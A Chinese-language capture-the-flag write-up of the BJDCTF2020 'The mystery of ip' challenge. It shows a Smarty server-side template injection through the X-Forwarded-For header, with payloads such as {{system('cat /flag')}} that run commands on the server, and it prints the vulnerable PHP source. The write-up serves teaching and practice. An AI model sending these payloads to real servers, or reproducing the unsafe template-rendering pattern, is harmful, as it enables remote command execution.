[BUUOJ记录] [BJDCTF2020]The mystery of ip

本题考察XFF头的ssti模板注入，没有过滤，算是入门题

进入题目hint.php的源码中可以看到一个hint

猜测是通过XFF头来获取信息的，发个HTTP请求添加一个XFF头测试一下：

GET /flag.php HTTP/1.1

Host: node3.buuoj.cn:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/ Firefox/74.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh,zh-CN;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

X-Forwarded-For: test

可以看到此时显示的IP已经变了，猜测存在ssti，构造一个表达式Payload测试一下:

X-Forwarded-For: {{system('ls')}}

可以看到服务器执行了我们的命令，直接cat /flag即可获得Flag:

X-Forwarded-For: {{system('cat /flag')}}

做出题之后再来分析一下这道题的源码，看一下flag.php的源码：

<?php

    require_once('header.php');

    require_once('./libs/Smarty.class.php');

    $smarty = new Smarty();

    if (!empty($_SERVER['HTTP_CLIENT_IP']))

    {

        $ip=$_SERVER['HTTP_CLIENT_IP'];

    }

    elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))

    {

        $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];

    }

    else

    {

        $ip=$_SERVER['REMOTE_ADDR'];

    }

    //$your_ip = $smarty->display("string:".$ip);

    echo "<div class=\"container panel1\">

                <div class=\"row\">

                <div class=\"col-md-4\">

                </div>

            <div class=\"col-md-4\">

                <div class=\"jumbotron pan\">

                    <div class=\"form-group log\">

                        <label><h2>Your IP is : ";

    $smarty->display("string:".$ip);

    echo "            </h2></label>

                    </div>

                </div>

            </div>

                <div class=\"col-md-4\">

                </div>

                </div>

            </div>";

?>

形成ssti的代码在这里：

$smarty->display("string:".$ip)

采用了Smarty模板引擎，导致了ssti，关于Smarty模板ssti可以参考这篇文章：https://www.jianshu.com/p/eb8d0137a7d3